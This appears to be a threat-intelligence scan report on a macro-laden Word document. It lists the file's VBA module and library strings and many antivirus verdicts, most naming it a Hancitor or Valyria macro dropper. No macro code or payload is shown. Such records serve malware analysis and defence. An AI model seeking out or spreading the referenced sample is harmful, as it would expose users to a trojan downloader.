$*\Rffff*0O634a1e19
ThisDocument
_VBA_PROJECT
PROJECT
PROJECTwm
(1Normal.ThisDocument
$*\Rffff*0M634a1e19
$*\Rffff*0P634a1e19
$*\Rffff*0O634a1e19
*\R1*#c0
*\R1*#c6
*\R0*#12
*\R1*#166
*\R1*#c1
*\R1*#17b
*\R1*#8d
$*\Rffff*0N634a1e19
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
0M634a1e19
ThisDocument
Module1
0P634a1e19
Module1
Module3
0N634a1e19
Module3
Module123345
0O634a1e19
Module123345
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module3.bvxfcsd
Project.ThisDocument.acc
Project.ThisDocument.ass
PROJECT.MODULE3.BVXFCSD
PROJECT.THISDOCUMENT.ACC
PROJECT.THISDOCUMENT.ASS
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.b!c
Elastic Clean
MicroWorld-eScan VB:Trojan.Valyria.5322
CMC Clean
CAT-QuickHeal Clean
McAfee RDN/Generic
Malwarebytes Clean
VIPRE LooksLike.Macro.Malware.k (v)
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren W97M/Agent.ABS.gen!Eldorado
Symantec W97M.Downloader
ESET-NOD32 a variant of VBA/TrojanDropper.Agent.CEY
Baidu Clean
TrendMicro-HouseCall TROJ_FRS.0NA103IU21
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender VB:Trojan.Valyria.5322
NANO-Antivirus Clean
SUPERAntiSpyware Clean
Tencent Win32.Trojan.Valyria.Swai
Ad-Aware VB:Trojan.Valyria.5322
Sophos Clean
Comodo TrojWare.Win32.Agent.xdopn@0
F-Secure Clean
DrWeb W97M.MulDrop.358
Zillya Clean
TrendMicro TROJ_FRS.0NA103IU21
McAfee-GW-Edition Clean
FireEye VB:Trojan.Valyria.5322
Emsisoft VB:Trojan.Valyria.5322 (B)
SentinelOne Static AI - Suspicious OLE
GData VB:Trojan.Valyria.5322
Jiangmin Clean
Avira VBS/Drop.Agent.adzsv
MAX malware (ai score=89)
Antiy-AVL Trojan/Generic.ASMacro.2D76A
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D14CA
ViRobot DOC.Z.Agent.824320
ZoneAlarm Clean
Microsoft TrojanDropper:O97M/Hancitor.BKO!MTB
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Trojan.Downloader.W97m.gen
TACHYON Clean
Zoner Probably Heur.W97Obfuscated
Rising Clean
Yandex Clean
Ikarus Trojan-Dropper.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.CEY!tr
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.